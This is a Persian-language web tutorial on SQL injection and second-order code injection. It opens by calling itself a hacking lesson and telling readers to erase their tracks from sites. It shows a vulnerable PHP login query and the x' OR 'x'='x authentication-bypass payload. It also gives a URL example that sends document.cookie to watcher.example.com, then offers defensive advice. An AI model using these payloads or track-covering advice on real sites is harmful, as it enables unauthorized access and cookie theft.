کارشناسی ارشد

آمار بازدیدکنندگان:


امروز:5
بازدیدکنندگان دیروز:228
کل بازدیدکنندگان:371234
بیشترین بازدیدکنندگان روز:2547
به نظر شما کدام مورد از مشخصات آنتی ویروس خوب می باشد؟
 
به نظر شما کدام آنتی ویروس قدرتمندتر است؟
 

عضویت در خبرنامه







SQLInjection1-www.pcone.ir

چگونه یک وبسایت و یا پایگاه داده آن را می توان هک کرد .در این مقاله آموزش قصد داریم که شما را طریقه های هک کردن و راه های نفوذ به سایت ها را آموزش دهیم .نگران سایت خود نباشید ما در مقالات بعدی نکاتی در رابطه با امنیت سایت ها هم مطرح می کنیم .مطالبی که در این سری آموزشی مطرح می کنیم :

SQL INJECTION

 

مطالبی که به عنوان پیش زمینه باید بدانید :

1- مقدمات HTML,PHP,SQL

2- مقدمات JAVAScript

3- مقدمات اولیه از سرور ها و طرز کار آن ها

4- و از همه مهم تر پاک کردن ردپای خود از سایت ها

خوب برای شروع و یادگیری مقدماتی PHP,SQL,JavaScript,HTML می توانید به این سایت خوب بروید .

بعد از آشنایی با مراحل بالا می بایست مهم ترین بخش که پاک کردن ردپا از سایت می باشد که ابتدایی تریم مرحله از آموزش هک می باشد .این مرحله را نادیده نگیرید به هیچ عنوان .که می توانید از این مطالب استفاده نمائید:

لینک اول

لینک دوم


SQL Injection :

SQL  Injection در حال حاضر یکی از راه های شایع ، آسیب پذیری پایگاه های داده می باشد که نتیجه سهل انگاری در اعتبار سنجی ورودی ها می باشد.هدف این کار وارد کردن اطلاعات دلخواه به پایگاه داده می باشد که اغلب از طریق اعمال  Query روی پایگاه داده صورت می گیرد.این Query مخرب ، می تواند داده های از سیستم را دریافت کند یا داده هایی را تغییردهد یا حذف کند.

با توجه به اینکه SQL یک پایگاه داده رابطه ای می باشد.SQL می تواند ساختار پایگاه داده را تغییر دهد (Data Definition Language statements [DDL]) و یا داده ها را دستکاری کند (Data Manipulation Language statements[DML]) .

این حمله زمانی می تواند انجام شود که یک شخص بتواند در   Query یک سری دستورات SQL  را طوری تزریق کند تا نتایج دلخواه خودش را دریافت و یا تغییر دهد.

روش های حملات تزریقی SQL  :

1- دستکاری داده ها (SQL Manipulation)

2- کد های دستوری (Code Injection)

3- تزریق تابعی (Function Call Injection)

4- سربار کردن بافر (Buffer Overflows)

طبقه بندی کلی که از حملات تزریقی می توان انجام داد به این صورت است :

1- حمله تزریق یک مرحله ای (First-Order)

2- حمله تزریق دو مرحله ای (Second-Order)

3- حمله تزریق تابعی (Function Call Injection)

 


 

1- حمله تزریق یک مرحله ای (First-Order)

تعریف حمله یک مرحله ای : روشی که نفوذگر با یک مرحله و با وارد کردن یک عبارت به نتیجه دلخواه خود می رسد. که ساده ترین را می باشد.

در کد زیر ما یک دستور SQL برای ورود به سیستم در زبان PHP داریم .

$sql=”SELECT * FROM tbl_user WHERE username= ‘”.$_POST['username'].”‘ AND password= ‘”.$_POST['password'].”‘”;
$result=mysql_query($sql);

فکر کنید که یک نفوذگر عبارت x’ OR ‘x’='x را در فیلد نام کاربری  و x’ OR ‘x’='x را در فیلد رمز عبور وارد کند.در نهایت دستور نهایی که ارسال می شود به صورت زیر در می آید:

SELECT * FROM tbl_user WHERE username=’x’ OR ‘x’='x’ AND password=’x’ OR ‘x’='x’;

خوب به دستور نگاه کنید این دستور همیشه مقدار True به پایگاه داده برمی گرداند.واز این طریق یک نفوذگر می تواند وارد سیستم شود .

هدف های ، حمله یک مرحله ای را می توان به این صورت طبقه بندی کرد :

1-  رد کردن Login  

2-  آدرس صفحات

3- پیدا کردن نام جدول

4- پیدا کردن کاربران

5- حدس زدن رمز عبور  و بازنشانی رمز عبور

6- حذف یک جدول

7- اضافه کردن یک عضو جدید

8- ارسال رمز عبور از طریق پست الکترونیکی

و ...

 

یک نمونه از این حملات تزریقی :

SELECT fieldlist
FROM table
WHERE field = '$EMAIL';

دستور بالا با توجه به ایمیل وارد شده یک خروجی خاص به ما می دهد.

SELECT fieldlist
FROM table

حال ما یک ایمیل خاصی را وارد می کنیم در این حالت اگر همچین ایمیلی وجود داشته باشد خروجی مناسب نمایش داده می شود.

ما می توانیم با یک تزریق به این صورت که به جای ایمیل از این عبارت استفاده کنیم 'anything' OR 'x'='x' نتیجه را تغییر دهیم :

SELECT fieldlist
FROM table
WHERE field = 'anything' OR 'x'='x';

با تزریق این دستور ممکن است حالت های زیر رخ دهد، فرض کنید که این قطعه کد در قالب دستورات PHP یا ASP قرار گرفته باشد و با این کار ممکن است پسورد ایمیل یک شخص به آدرس ایمیلی که وارد می شود ارسال شود.که با این روش به راحتی این کار انجام می شود.

ولی در حال حاضر، از عمل واقعی که در پس این دستور صورت می گیرد اطلاعی نداریم ممکن است پیغام های زیر نمایش داده شود :
  • "Your login information has been mailed to email"
  • "We don't recognize your email address"
  • Server error

روش های حملات تزریقی بسیار است که بیشترین کاربرد آن ها برای ورود به سیستم استفاده می شود مثل پیدا کردن پسورد سایت ها وغیره .

ما باید به دنبال راه حل هایی برای بالا بردن امنیت و اعتبار سنجی داده ها پیدا کنیم که از این گونه حملات تزریقی جلوگیری شود .

 


 

2- حمله تزریق دو مرحله ای (Second-Order) (برگرفته از http://www.aftab.ir)

بسیاری از روشهای حمله از طریق تزریق كد (Code Injection)، به سمت برنامه های كاربردی تحت وب ( Web Application ) نشانه رفته‌اند كه بسته به نوع روش مورد استفاده می توانند اعمالی مانند دزدیدن اطلاعات جلسه كاری (Session) یا اجرای یك دستور SQL را انجام دهند. مواقعی پیش می آید که نفوذگر می تواند یک کد مخرب را در یک محل ذخیره کند تا بعدها بتواند راهی برای اجرای آن پیدا کند. این روش به حمله دو مرحله ای (Second Order ) موسوم است. یک حمله دو مرحله ای از لحاظ اینکه کد در چه قسمتی ذخیره می شود به چند دسته تقسیم می شود.

● پیش زمینه :
در اکثر موارد هدف هکر از تزریق یک کد ، به یک برنامه كاربردی وب ، رسیدن به یک پاسخ سریع از میزبان مورد حمله است. روشهای معمول برای حمله از طریق تزریق کد به شرح زیر می باشند :

Html-Embeded : با استفاده از این نوع حمله ، هكر وانمود می كند كه یك صفحه از سایت را دیفیس كرده است. این حمله از آنجا ناشی می شود كه برنامه كاربردی و یا اشكالاتی كه در ترجمه كدهای HTML در مرورگر ا وجود دارد ، نمی توانند به درستی صفحه درخواستی كاربر را تجزیه و تحلیل كنند و با خطا مواجهه می شوند و این خطا به همراه قسمتی از صفحه اصلی نمایش داده می شود و به نظر می آید كه صفحه اصلی توسط هكر تغییر كرده است.


Cross-Site Scripting : معمولا برای اجرای یک کد اسکریپتی در سمت كاربر مورد استفاده قرار می‌گیرد که این كد توسط هکر کنترل می شود و برای اهدافی چون سرقت اطلاعات قربانی یا نصب یک تروجان روی کامپیوتر قربانی استفاده می شود.


▪ Sql Injection : این روش به جای فرستادن اطلاعات توسط یك فرم به سمت سرور ، یک کد sql را می‌فرستد که می تواند باعث دستیابی غیر مجاز به اطلاعات بانک اطلاعاتی یا منجر به اجرای یک اسکریپت روی سرور شود که می تواند منجر به آشکار شدن اطلاعات غیر مجاز برای هكر گردد.


Buffer Overflow : در این روش هكر ، یک تکه کد خاص را به سمت سرور یا برنامه كاربردی ارسال می كند. از این روش برای تاثیر گذاری روی حافظه برنامه ها و ایجاد پتانسیل لازم برای یک حمله DOS یا اجرای یک تکه کد خطرناك استفاده می شود.

File includes :یک آسیب پذیری معمول است که اجازه می دهد تا هکر اطلاعات مخربی مثل مسیر یک فایل یا متغییر های تنظیماتی سیستم عامل را تغییر دهد و یا با استفاده از اطلاعاتی كه از آنها به دست می آورد می تواند سیستم را به دست بگیرد.
مسایلی وجود دارد كه در یك حمله دخیل می باشند:
▪ زمان : چه هنگامی حمله در برنامه كاربردی تاثیر می گذارد و هكر پاسخ می گیرد ؟ به صورت بی‌درنگ ، اجرا در پیش زمینه در زیر پروسه های مختلف
▪ موقعیت: در چه مكانی كدهای تزریق می شوند ؟ كلاینت ، سرور اصلی یا سرور فرعی
▪ محیط: در چه محیطی كدهای تزریقی ، اجرا می شوند ؟ مرورگر مشتری ، ایستگاه كاری مشتری، كنسول مدیریت
▪ منبع : از چه مكانی از برنامه كاربردی كد تزریق می شود؟ فرم تعیین هویت مشتری ، داده های ذخیره شده در پایگاه داده


راههای زیادی برای تزریق كدها به برنامه های كاربردی وجود دارد كه در آنها پس از تزریق كد ، هكر سریعا جواب را دریافت می كند. این دسته از حملات را ، حملات یك مرحله ای می نامیم. اما در حملات تزریق دو مرحله ای (Second-order ) هكر سریعا جوابی دریافت نمی كند و ممكن است كه اصلا برای یك یا چند ماهی اصلا هیچ قربانی برای كدهای مخرب خود پیدا نكند و در حالات دیگر امكان دارد برنامه كاربردی كه آسیب پذیر است و اجازه تزریق كد را می دهد همان برنامه های نباشد كه مورد حمله واقع می شود.


● مفهوم تزریق کد دو مرحله ای :
امروزه برنامه های کاربردی تحت وب هر روز گسترده تر و پیچیده تر می شود و تمایل زیادی به پردازش اطلاعات فرمها قبل از ارسال به سرور به وجود آمده است. حتی اگر اطلاعات برای یک مولفه قابل اطمینان باشد هیچ تضمینی وجود ندارد که دیگر مولفه ها نیز از این قانون تبعیت کنند.

دسته بندی تزریق کد دو مرحله ای :


۱- Frequency-Base Primary Application :
این دسته شامل برنامه هایی است که درخواستهای کلاینت ها را با استفاده از مدلهای استاتیک دوباره پردازش می کنند. برای مثال برنامه هایی که ۱۰ جستجوی متناوب را انتخاب می کنند و یا درخواستهای معمول کاربران را مبنی بر « پیدا كردن آخرین مقاله در فلان موضوع » یا «پیشنهاد دیگر در همین مورد» را پاسخ می دهند. حمله از این روش معمولا دیگر کاربران برنامه اصلی را نیز هدف قرار می دهند.


۲- Frequency-Base Secondary Application :
این گروه شامل برنامه هایی است که در ابتدا کد تزریقی دریافت نمی کنند ولی در عوض عملیاتی از یک برنامه کاربردی را پردازش می کنند که این کار بصورت استاتیک انجام می پذیرد. مثال این گروه شامل برنامه ای است که درخواستهای وب یا فایلهای ثبت خطا را بررسی می کنند و اطلاعاتی مانند "متداولترین مرورگر وب" یا "متداولترین عبارات جستجو " و یا ... را استخراج می کنند.
حمله از این روش معمولا کاربران Admin را هدف قرار می دهد.


۳-Secondary Support Application :
این دسته شامل برنامه هایی است که بصورت داخلی برای پشتیبانی از برنامه های اصلی بکار می رود. این برنامه ها اغلب اطلاعات مشخص شده بوسیله برنامه های کاربردی اولیه را دستکاری می کنند یا نمایش می دهند و اغلب اطلاعاتی را که باید حفاظت شود را تضمین می کنند. در اغلب موارد برنامه های ثانویه برای نگهداری یا نمایش اطلاعات ارسال شده از كاربر بکار می رود تا این اطلاعات فقط توسط کلاینت یا مالک آن قابل دیدن باشد. مثال این دسته شامل برنامه هایی است که از Help-Desk و از خط تلفن برای بروز کردن اطلاعات مشتری استفاده می کنند.
حمله با این روش معمولا برنامه های کاربران داخلی را تهدید می کند و گاه ممکن است با مهندسی اجتماعی آمیخته شود. مانند تلفن کردن به قسمت پشتیبانی و گفتن اینکه "به نظر می رسد که آدرس من اشتباه است و من نمی توانم آنرا تغییر دهم.آیا شما می توانید آنرا برای من تغییر دهید..."


۴-Casscaded Submission Application :
این گروه شامل برنامه هایی (كه بیشتر برنامه های بحرانی هستند) است که استفاده چند کلاینت از یک پردازه را امکان پذیر می کند. برای مثال برنامه ای که کاربر را مجبور به ساختن یک اکانتی شامل آدرس كاربر می کند که آدرس برای عملیات برنامه استفاده می شود مانند" پیدا کردن نزدیکترین مکان به من " یا پیدا کردن افرادی که عبارت Sql " افرادی که در دانشگاه من درس می‌خوانند " در مورد آنها صدق می کند و نتیجه حمله معمولا روی پایگاه داده انتهایی می‌باشد.


● محلهای ذخیره سازی :
کدهای تزریق شده ممکن است به روشهای مختلفی ذخیره شوند و تکنیک ذخیره شدنشان معمولا نوع حمله را مشخص می کند. برای ذخیره کد معمولا ۳ محل موجود است :


۱- Temporary Storage : برای مثال جستجوی قبلی برنامه و سایر اطلاعات ذخیره شده (Data Cached)


۲-Short-Term Storage :برای مثال اطلاعات ذخیره شده در یک لاگ روزانه یا هفتگی که هر از چند گاهی نگاهی به آنان می شود.


۳-Long-Term Storage :اطلاعات در بانکهای دائمی ذخیره می شود که حذف آنها بایستی بصورت دستی انجام گیرد.طبیعت تزریق کدهای معمولی به گونه ای است که خیلی راحت قابل کشف هستند. با فرستادن یک URL تركیب شده برای حمله (بطور مثال وجود عبارتی شبیه به ) و دیدن پاسخ سرور ، پروسه کشف آسیب پذیری به صورت مکانیزه در می آید. برای برنامه های تحت وبی که عمل تست امنیت و کپسوله سازی کد های تزریقی را انجام می دهند ، فرستادن چند صد نوع از رشته های کد شده (برای مثال جایگزین کردن کاراکتر "<" با %a۰۰۳c ) می تواند منجر به کشف آسب پذیری به شکل خودکار شود. از طرف دیگر ، تست برای تشخیص تزریق کد دو مرحله ای بسیار مشکل است و ممکن است برای آن به آخرین نسخه برنامه های تشخیص دهنده نیاز داشته باشیم. به دلیل تعدد روشهای تزریق دو مرحله ای، تولید برنامه ای که بتواند همه آسیب پذیری های موجود را بررسی کند کمی مشکل است. ۳-۱ کشف اتوماتیک : کشف اتوماتیک تزریق دو مرحله ای به دلیل زمان لازم و مکانهای متغییرش فرآیند سختی است. برای غلبه بر این مشکلات ابزارهای اتوماتیک باید خواص زیر را داشته باشند :

۱- این قابلیت را داشته باشند که بتوانند همه روشهای معمول را پشتیبانی کنند

۲- در داخل هر داده ارسالی یک متغییر وجود داشته باشد تا بتواند بازگشت به عقب (Back Tracking) به یک بردار حمله یکتا ، زمان رویداد ، مکان درج یا سورس کد را داشته باشد.

۳- بتواند همان حمله را مکررا ارسال کند (مثلا ۱۰۰ تا ۱۰۰۰۰ بار بسته به پیکر بندی برنامه)

۴-توانایی نگاشت ( Spydering )یک برنامه تحت وب در زمانهای مختلف برای کشف هر گونه صفحات تغییر یافته شامل اطلاعات ارسالی قبلی یک برنامه که بتواند وظایف فوق را به دوش بگیرد توانایی ردیابی هر چهار دسته از تزریق کدهای نامبرده را دارد. برای ردیابی بعضی از گونه های کلاس ۲و۳ برنامه تست کننده یک سرویس گوش دهنده (Listener) داشته باشد تا بتواند درخواستها را برای مدتی (از یک ساعت تا حتی یک هفته ) زیر نظر داشته باشد. بطور ایده آل این برنامه بایستی تحت اینترنت باشد. هدف از این سرویس شنونده ثبت درخواستهای بعدی مرورگر برای منابعی است که امضای حمله دو مرحله ای نامیده می شود. برای مثال بعضی از کدهای اتوماتیک ممکن است شکلی شبیه به این داشته باشد : Src=http://watcher.example.com/test.htm?sig=۶۷۷۸۲۳۶۷۶&coockie=%۲۰+%۲۰Document.coockie که در آن watcher مکان سرویس شنونده و sig یک متغییر یکتا برای امضای حمله است (شامل تاریخ ،ساعت ،محل درج و اطلاعات درج شونده )

۳-۲ تکنیکهای دستی : در حالی که تکنیکهای کشف اتوماتیک حمله برای کشف آسیب پذیری بکار می روند به نظر می رسد روشهای دستی روش جامع تر و سریع تری بحساب می آیند. برای اطمینان بیشتر از کشف این آسیب پذیری ها متخصصان امنیت بایستی :

۱-مطمئن باشند که دیاگرامهای شبکه و شمای جریان داده های برنامه در زمان تست موجود می باشند.

۲- تمامی محلهای ذخیره سازی برنامه ائم از کوچک و بزرگ بایستی چک شوند.

۳- بصورت دستی برنامه های ثانویه پشتیبانی را که برای دسترسی به داده های ذخیره شده استفاده می شود ، چک کنند.

۴- درک کامل تکنولوژی پشت صحنه و پروسه های دستی که برای نمایش یا دستکاری اطلاعات بکار می روند.

۵- ساخت یک سرویس گوش دهنده با توانایی ردیابی هر گونه درخواستی که سیستم های آسیب پذیر تولید می کنند. این سرویس باید در داخل یکی از قسمتهای اساسی سازمان باشد و از همه نقاط شبکه بتوان به آن دسترسی داشت . محافظت در برابر تزریق کد دو مرحله ای : روندی که برای محافظت در برابر این نوع حمله ها وجود دارد همانند حمله نوع کلاسیک (تزریق کد یک مرحله ای) است. در اینجا به اصولی که باید رعایت شوند نگاهی می اندازیم :

۱- هرگز به داده های ارسالی از طرف کاربر اطمینان نکنید.

۲- کار تست داده های کاربر را سعی کنید که در طرف کلاینت انجام ندهید چرا که احتمال شکست وجود دارد. بنابر این کار را به طرف سرور محول کنید.

۳- کار تست را از ابتدا آغاز کنید و همه کاراکتر ها را بررسی کنید و از بی خطر بودنشان مطمئن شوید

۴- به خاطر داشته باشید که یک داده ممکن است برای مولفه ای بی خطر باشد ولی برای مولفه ای دیگر هیچ تضمینی وجود ندارد.

۵- هر برنامه ای که اطلاعات کاربر را بازیابی می کند (بخصوص داده هایی را که کاربر آنها را وارد می کند) را بایستی ابتدا عمل پاکسازی را روی آن انجام دهد سپس شروع به پردازش آنها کنید.

۶- بطور ایده آل باید پروسه هایی برای اعتبارسنجی استفاده شوند تا مطمئن شویم که تمام اطلاعات پردازش شده در داخل و خارج از مولفه ها امن هستند.

۷-مطمئن شوید که کارمندان شما پاکسازی و تصحیح داده های کاربر را در تمام مولفه های خود رعایت کرده اند.

۸-مطمئن باشید ابزارهای حفاظتی مثل آنتی ویروسها ، سیستمهای کشف مزاحمت و دیواره آتش نصب هستند و بروز شده اند.

۴-۱ احتمال حمله : اگر موارد بالا را رعایت کنید احتمال بروز حمله کم می شود که این در نتیجه عوامل زیر است :

۱- تزریق کد کلاسیک خیلی معمول است و زمانی که با تزریق دو مرحله ای مقایسه می شود احتمال وقوع آن خیلی کم است.

۲- تزریق کد یک مرحله ای *** کم بودن امنیت برنامه ها در دنیا *** را نشان می دهد. در نتیجه تا زمانی که ...

۳- در بسیاری از موارد تزریق کد دو مرحله ای باید بصورت کورکورانه انجام شود. برای مثال نفوذگر برای کشف نقاط ضعف موجود در پشت پرده ، بدون هیچگونه اطلاعات قبلی از سیستم، جستجویی را آغاز می کند و حتی خود نفوذگر هم مطمئن نیست که آیا کارش موفقیت آمیز خواهد بود یا خیر .

۴- این یک حقیقت است که بسیاری از حمله ها ساعتها ، روزها یا حتی هفته ها بطول بیانجامد و هکر احتمالا سایر بردارهای حمله را که تحقیق اولیه فراهم آورده تمام می کند انتظار می رود در آینده احتمال وقوع حمله هایی از این دست بیشتر شود چون سازمانها سیستم هایی رانصب می کنند که ردیابی آنها بهتر انجام می شود و این سیستمها نمی توانند حملات پیچیده کد دو مرحله ای را ردیابی کنند. بعلاوه توانایی ارسال کدهای حمله به حافظه short-term یا long-term برنامه به این معنی است که جستجوی یک برنامه قبلی برای حمله امکان پذیر است که این یک ایده آل برای مجرمان حرفه ای بشمار می رود. اثرات این نوع حمله ، اثرات این نوع حمله بسیار بیشتر از حملات تک مرحله ای است که مهمترین دلایلش بصورت زیر است :

۱- هدف این حمله بیشتر برنامه های admin و پشتیبانی از محیط می باشد.

۲- قابلیت دستیابی به منابع غیر فنی مثل پشتیبانی کارمندان مشتری

۳- پتانسیل برای تاثیر گذاری بر روی یک میزبان داخلی سازمان (مثلا help-desk و بانکهای اطلاعاتی)

۴-قابلیت برای جستجوی محلهای ذخیره سازی داده های برنامه با کد حمله قبلی برای exploit کردن خطرات تجارت : ریسکهای تجارت با آسیب پذیری های کد دو مرحله ای آمیخته شده اند و این ارزیابی را مشکل می کند. در حالی که در حال حاضر احتمال موفقیت exploit به خودی خود کم است ، اثرات exploit معمولا خیلی زیاد است. در حقیقت حمله دو مرحله ای یک خطر رو به گسترش برای جامعیت داده ها و ادامه تجارت محسوب می شود. به نظر می رسد این خطر در چند سال آینده روند رو به اقزایش دارد و ابزارها و تکنیکها سعی در کاهش آن دارند. از طرفی از آنجایی که سیستمهای پشت پرده پیچیده تر می شوند و داده های بیشتری را بکار می گیرند ، راه برای حمله آماده تر می شود.